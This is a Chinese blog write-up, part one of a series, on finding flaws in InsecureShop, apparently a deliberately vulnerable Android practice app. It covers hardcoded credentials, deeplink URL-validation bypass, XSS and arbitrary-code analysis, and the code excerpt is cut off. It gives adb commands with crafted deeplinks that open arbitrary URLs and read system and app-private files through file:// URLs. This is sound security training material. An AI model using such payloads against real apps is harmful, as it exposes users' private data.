【Android安全】insecureshop漏洞挖掘(上)

本文深入探讨了Android应用InsecureShop的安全漏洞,包括账号密码硬编码、URL验证不足、任意代码执行、Intent重定向和本地文件读取。通过反编译和源码分析,展示了如何利用这些漏洞进行攻击,如任意url跳转、xss攻击、读取敏感文件等。
摘要由CSDN通过智能技术生成

漏洞1—账号密码信息硬编码

反编译,查看源码,搜索user
在这里插入图片描述
查看LoginActivity.class,发现密码校验逻辑是在Util中
在这里插入图片描述
点击查看Util.class,发现硬编码,账户名密码
在这里插入图片描述
在这里插入图片描述

登录成功

在这里插入图片描述

漏洞2—URL验证不足

在这里插入图片描述
AndroidManifest.xml中如下
在这里插入图片描述
WebViewActivity.class代码如下:

在这里插入图片描述
由此可知,我们可以通过以下deeplink来启动该WebViewActivity,加载我们指定的任意url

insecureshop://com.insecureshop/web?url=https://www.baidu.com
insecureshop://com.insecureshop/webview?url=https://www.baidu.com?insecureshopapp.com

方式1—使用adb验证漏洞

adb shell am start -W -a xxx.action -d <deeplink>
# 参数解释
 #- adb shell:即进入安卓shell环境
 #- am:代表activity manager,即活动管理器
 #- start:启动一个activity
 #- -W 启动activity前,先等待设备唤醒,避免设备处于休眠状态启动activity时出错
 #- -a 用于启动一个指定action的activity
 #- -d 传递一个deeplink链接

漏洞利用1—任意url跳转

adb shell am start -a android.intent.action.VIEW -d insecureshop://com.insecureshop/web?url=http://baidu.com

在这里插入图片描述

漏洞利用2—读取本地文件

  • 读取应用数据目录
  • 读取应用日志
  • 读取sdcard

1.读取系统文件

/system/
/etc/hosts
/system/build.prop
adb shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///system/build.prop"

在这里插入图片描述

2.读取应用数据目录相关文件

adb shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"

在这里插入图片描述
3.读取sdcard文件

 sdcard/Download/magisk_install_log_2023-09-19T09.52.22.log

方式2:编写js网页

漏洞利用3—xss

由于目标未启用setJavaScriptCanOpenWindowsAutomatically(true),因此不能弹窗,但可以执行js代码

可以利用xss钓鱼,csrf等
在这里插入图片描述

漏洞3—任意代码执行

1.分析源码
目标apk LoginActivity存在以下代码

// 获取所有已安装应用程序的信息,将 List 转换为一个迭代器对象
paramView = getPackageManager().getInstalledPackages(0).iterator();
  while (paramView.hasNext())
   {
   
     // 获取包名
     localObject1 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值